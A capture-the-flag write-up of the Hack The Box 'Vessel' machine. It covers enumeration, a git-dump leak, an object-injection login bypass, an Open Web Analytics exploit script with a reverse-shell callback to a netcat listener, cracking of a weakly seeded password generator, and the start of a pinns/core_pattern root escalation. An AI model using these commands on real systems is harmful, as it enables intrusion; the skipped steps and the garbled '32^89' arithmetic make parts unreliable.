┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel] └─$ nmap -sC -sV -oN nmapresults.txt -vv -T4 10.10.11.178 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-2512:30 CEST NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:30 Completed NSE at 12:30, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:30 Completed NSE at 12:30, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:30 Completed NSE at 12:30, 0.00s elapsed Initiating Ping Scan at 12:30 Scanning 10.10.11.178 [2 ports] Completed Ping Scan at 12:30, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 12:30 Completed Parallel DNS resolution of 1 host. at 12:30, 1.05s elapsed Initiating Connect Scan at 12:30 Scanning 10.10.11.178 [1000 ports] Discovered open port 22/tcp on 10.10.11.178 Discovered open port 80/tcp on 10.10.11.178 Completed Connect Scan at 12:30, 1.43s elapsed (1000 total ports) Initiating Service scan at 12:30 Scanning 2 services on 10.10.11.178 Completed Service scan at 12:31, 6.09s elapsed (2 services on 1 host) NSE: Script scanning 10.10.11.178. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:31 Completed NSE at 12:31, 0.87s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:31 Completed NSE at 12:31, 0.11s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:31 Completed NSE at 12:31, 0.00s elapsed Nmap scan report for10.10.11.178 Host is up, received syn-ack (0.021s latency). Scanned at 2022-09-2512:30:58 CEST for 9s Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 307238:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRkVUZvNhJjWa+g8L2AvSkSx0UUQEWfqMP7peYHvV6ZkUiZgpXHDTIIu6VUJ0JgGvrM4RU7ZBEaWv7HJ+PWmv+tqOGdQC3O8MT4LadUlAod4aceqOUJKXjGW8f09s0XFg7WFFOzTPEserrn1StwLWDl/OEZmC4UjjaGnfTax/FfQuaLZOOEEFAayJhOVI05+zSAIkjOlNF4jHwWUKfaQ1v4of/HoZrBpyy9kUarhrkR2WuepT2z1zOSipvkYQyQgbA4xt44ZMaD8K/gX4+T3Tldoo7QzK48v40X/1hjbaznCXnv5W7cV8OTU7H7jTTbJ7YFeKk6SggOJTBB/jUbscVYSUFma/a6VQvlpJccHrYakf1m7nnW108Qk71dn6J0rZW/deLLRpfwtJsTD8xURupA9wCOWgw8HX/afxqbRTGWkr5spGHCJFVc2ITVH+fVZY1gr4u14r5gXDZo20iRoRtwJI7+sXxOxQMB/XHYG9hmx2E7Z8uJw0nq0Nl8DCh2jM= | 25633:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI228amP4DtyQ7hh3fSYHcLZlahh+YMF0aLTZ9N/0RaUtRLM9lBdVPHvN6h1SJ45wg1rXsdrNql7L/qqr0G3q2Q= | 256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJD+aZKxj3tW8fIaoig7O/RmU2zGCu48tA485peYqixq 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Vessel |_http-favicon: Unknown favicon MD5: 9A251AF46E55C650807793D0DB9C38B8 |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:31 Completed NSE at 12:31, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:31 Completed NSE at 12:31, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:31 Completed NSE at 12:31, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in10.04 seconds Segmentation fault
Taking a look at the webserver
We find ourselves /login (but we do not have creds) and /register (but that doesn’t seem to be working). I did intercept the /login and /register request. The request sends a POST request to /api/register and /api/login.
But after sending the request to the server, we are getting redirected back to the register page. I couldn’t find a way around it, so let’s start dirbuster.
Dirbuster
Dirbuster found a /dev directory and within this directory a .git directory:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
└─$ dirb http://10.10.11.178/dev/
----------------- DIRB v2.22 By The Dark Raver -----------------
START_TIME: Sun Sep 2512:59:01 2022 URL_BASE: http://10.10.11.178/dev/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel/GitTools/Dumper] └─$ ./gitdumper.sh http://vessel.htb/dev/.git/ ./repo ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ###########
Another interesting file that I found was index.js in /routes which also included the /login endpoint sourcecode.
1 2
if (username && password) { connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
Notice how the [username, password] objects are being parsed. They are not being checked or converted into a string, which means that we whole object itself will get parsed. We can use this to our advantage to bypass the authentication with burpsuite.
I intercepted the login request and changed it to the object like in the sourcode:
┌──(remco㉿nb-rem)-[~/HackTheBox/Vessel/repo/routes] └─$ python3 exploit.pyhttp://openwebanalytics.vessel.htb 10.10.14.170 1234 Attempting to generate cache for"admin" user Attempting to find cache of"admin" user Found temporary password for user "admin": 5fcf368c799bb4fdad2ee12100c7b0ca Changed the password of"admin" to "admin" Loggedinas"admin" user Creating log file Wrote payload to log file Triggering payload! Check your listener! You can trigger the payload again at "http://openwebanalytics.vessel.htb/owa-data/caches/VXodhhFU.php"
And indeed, we get a call back to our listener:
1 2 3 4 5 6
┌──(remco㉿nb-rem)-[~] └─$ nc -lnvp 1234 listening on [any] 1234 ... connect to [172.26.198.108] from (UNKNOWN) [172.26.192.1] 63906 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Decompiling Passwordgenerator
www-data is able to change its directory to steven’s home directory and read the content inside it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
drwxrwxr-x 3 steven steven 4096Aug1114:43 . drwxr-xr-x 4 root root 4096Aug1114:43 .. lrwxrwxrwx 1 root root 9Apr1814:45 .bash_history -> /dev/null -rw------- 1 steven steven 220Apr1718:38 .bash_logout -rw------- 1 steven steven 3771Apr1718:38 .bashrc drwxr-xr-x 2 ethan steven 4096Aug1114:43 .notes -rw------- 1 steven steven 807Apr1718:38 .profile -rw-r--r-- 1 ethan steven 34578147May411:03 passwordGenerator www-data@vessel:/home/steven$ cd .notes cd .notes www-data@vessel:/home/steven/.notes$ ls -la ls -la total 40 drwxr-xr-x 2 ethan steven 4096Aug1114:43 . drwxrwxr-x 3 steven steven 4096Aug1114:43 .. -rw-r--r-- 1 ethan steven 17567Aug1018:42 notes.pdf -rw-r--r-- 1 ethan steven 11864May221:36 screenshot.png www-data@vessel:/home/steven/.notes$
We find three interesting files:
passwordGenerator
.notes/notes.pdf
.notes/screenshot.png
I downloaded all of them by starting a simple http server inside the home directory of steven:
notes.pdf in encrypted with a password, so we need the password before we are able to read it. I tried to crack it with rockyou.txt but it didn’t do the trick. So I am guessing we have to take a look at the passwordGenerator executable.
screenshot.png:
The screenshot looks like it is a screenshot from the passwordGenerator program. Time to look at that generator by decompiling it!
So, when you download the file executable, you do not see that it is a executable, but if you add the file extension to the file, you will see the following:
Right of the bet I noticed that this executable was made with Python (because of the icon). We can use pyinstxtractor to extract the contents of a PyInstaller generated executable file:
┌──(remco㉿nb-rem)-[~/HackTheBox/Vessel] └─$ python3 pyinstxtractor.py passwordGenerator.exe [+] Processing passwordGenerator.exe [+] Pyinstaller version: 2.1+ [+] Python version: 3.7 [+] Length of package: 34300131 bytes [+] Found 95 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_subprocess.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_pyside2.pyc [+] Possible entry point: passwordGenerator.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: passwordGenerator.exe
You can now use a python decompiler on the pyc files within the extracted directory
Next, we need a python decompiler to actually get to the sourcecode. But we do need python3.7 and a Windows machine in order to do this with python-uncompyle6:
Then we can use uncompyle6 do decompile passwordgenerator.pyc. After looking at the sourcecode we find a genPassword function that generates a password. What a surprise.
defgenPassword(self): length = value char = index if char == 0: charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?' else: if char == 1: charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' else: if char == 2: charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890' else: try: qsrand(QTime.currentTime().msec()) password = '' for i inrange(length): idx = qrand() % len(charset) nchar = charset[idx] password += str(nchar)
except: msg = QMessageBox() msg.setWindowTitle('Error') msg.setText('Error while generating password!, Send a message to the Author!') x = msg.exec_()
return password
Getting to user Ethan
Notice how the function sets a length and a char. In the screenshot we saw that the password that was being generated, had a length of 32 and a char of 0 (first option). The charset is 89 characters long, so that means that at first glance, the possible password combinations must be 32^89.
Well.. that is not actually true. QT signafically decreases the possible combinations for passwords in the way it was implemented in the code. So in theory we can let this function generate a password list for us with all possible combinations and use john to crack the PDF.
I wrote a extra function and cleaned up the genPassword() function:
withopen('list.txt', 'w') as passfile: for i in passwordlist: passfile.write(i) passfile.write('\n')
The while loop will continue to generate unique passwords untill the unique passwords length hit a 1000 passwords. Finally, the program will open a .txt file and add all the passwords into the wordlist.
Now that we have the wordlist, we can use johntheripper to crack the PDF:
1 2
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel] └─$ sudo john forjohn --wordlist=./list.txt
John got the password very fast.
1 2 3 4 5
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel] └─$ sudo john --show forjohn notes.pdf:YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel] └─$ ssh ethan@vessel.htb ethan@vessel.htb's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-124-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 14 Oct 2022 08:33:44 AM UTC System load: 0.0 Processes: 226 Usage of /: 66.4% of 4.76GB Users logged in: 0 Memory usage: 17% IPv4 address for eth0: 10.10.11.178 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Oct 14 06:09:24 2022 from 10.10.16.17 ethan@vessel:~$
PE to root
When I listed all SUID binaries, I found this /usr/bin/pinns binary which is not a ordinary binary:
So how do we exploit this vulnerability? First, we need to create a malicious script that will execute later as root:
1 2
#!/bin/bash chmod +s /usr/bin/bash
Make sure to set the executable permission with chmod + x
We have to place this script inside /tmp/incendium. Because all *.sh scripts will get deleted in /tmp and /home/steven /home/ethan from a cronjob found with pspy.
Next, we need to set a kernel parameter to a file that will execute based on a kernel action. Just like the PoC of the crowdstrike post, we will use the kernel dump parameter for this:
1+kernel.core_pattern=/tmp/incendium/pwned.sh
Next we need to know the syntax of pinns to set this parameter. This was quite tricky, but I found a github issue that uses some parameters with pinns to set a parameter: